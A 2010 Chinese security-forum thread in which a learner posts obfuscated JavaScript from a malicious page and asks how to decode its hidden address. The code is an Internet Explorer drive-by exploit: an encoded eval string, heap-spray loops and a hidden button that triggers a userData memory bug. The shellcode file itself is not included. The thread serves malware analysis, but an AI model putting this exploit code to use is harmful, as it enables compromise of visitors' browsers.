瑞星卡卡安全论坛

首页 » 技术交流区 » 恶意网站交流 » 这个网址还解密么
学习解密 - 2010-5-14 18:33:00
我  新手学习

var CuteMoney = new Array()
        var CuteShine = 0x86000 - CutePower.length*2;
  var sss = Array(472,388,456,128,268,468,464,404,332,420,488,404,128,244,128,136,268,340,336,276,324,324,1
92,396,192,136,172,136,396,268,340,336,276,324,324,192,396,192,136,172,136,39
6,136,236,472,388,456,128,268,468,464,404,328,420,412,416,464,128,244,12
8,388,440,416,404,484,476,388,440,412,436,388,160,268,468,464,404,332,
420,488,404,184,456,404,448,432,388,396,404,160,188,268,340,336,276,
324,324,188,412,256,156,148,468,156,164,164,236);

这段代码还解密,么???

用户系统信息:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 626; .NET CLR 2.0.50727; 360SE)
networkedition - 2010-5-17 9:16:00
源地址是什么:kaka2:
朱小朱 - 2010-5-18 9:48:00
不全啊:kaka6:
学习解密 - 2010-5-18 12:36:00
<html>
<body>
<script>
var EasyJob='\x38';
</script>
<button id="evilcute" onclick="ahwm();"
STYLE="DISPLAY:NONE"></button>
<script src="pack.js"></script>
<script src="pack.css"></script>
<script language="javascript">

        var CutePower = anheywangma(AnHey.replace
(/CUTEQQ/g,'%u'));       
        var CuteMoney = new Array()
        var CuteShine = 0x86000 - CutePower.length*2;
     var sss = Array(472,388,456,128,268,468,464,404,332,420,488,404,128,244,128,136,268,340,336,276,324,324,192,396,192,136,172,136,396,268,340,336,276,324,324,192,396,192,136,172,136,396,136,236,472,388,456,128,268,468,464,404,328,420,412,416,464,128,244,128,388,440,416,404,484,476,388,440,412,436,388,160,268,468,464,404,332,420,488,404,184,456,404,448,432,388,396,404,160,188,268,340,336,276,324,324,188,412,256,156,148,468,156,164,164,236);
     var arr = new Array;
     for (var i = 0; i < sss.length; i ++ ){
       arr = String.fromCharCode(sss/4); }
       var tQknUbSupHPbocFK=arr.toString
();tQknUbSupHPbocFK=tQknUbSupHPbocFK.replace(/,/g, "");
       tQknUbSupHPbocFK = tQknUbSupHPbocFK.replace
(/@/g, ",");
     eval(tQknUbSupHPbocFK);
        try{alert(a,b,c);}
        catch(e)
  {
    while(CuteRight.length < CuteShine/2) CuteRight
+= CuteRight;
        var pp = CuteRight.substring(0, CuteShine/2);
        delete CuteRight;
        for(i=0;i<270;i++)
        {
              CuteMoney = pp+pp+CutePower;   
        }
    }
       
function ahwm()
{
    var CuteLock = document.createElement("BODY");
    CuteLock.addBehavior("#default#userData");
    document.appendChild(CuteLock);
    try
    {
        for (i=0;i<10;i++)
     {
          CuteLock.setAttribute('s',window);
        }
    }
    catch(e)
    {}
    window.status+='';
}
document.getElementById("evilcute").onclick();
</script>
</body>
</html>

从网页当中可以看出 472,388,456,128,268,468,464,404,332,420,488,404,128,244,128,136,268,340,336,276,324,324,192,396,192,136,172,136,396,268,340,336,276,324,324,192,396,192,136,172,136,396,136,236,472,388,456,128,268,468,464,404,328,420,412,416,464,128,244,128,388,440,416,404,484,476,388,440,412,436,388,160,268,468,464,404,332,420,488,404,184,456,404,448,432,388,396,404,160,188,268,340,336,276,324,324,188,412,256,156,148,468,156,164,164,236  还用解密么?
湖心小筑 - 2010-5-18 12:58:00
里面有个关键字被过滤了我发的也是一样你看除件的代码吧里面有说明

附件: 新建 文本文档.txt
学习解密 - 2010-5-18 14:11:00
谢谢楼上的 我解出地址来了
1
查看完整版本: 这个网址还解密么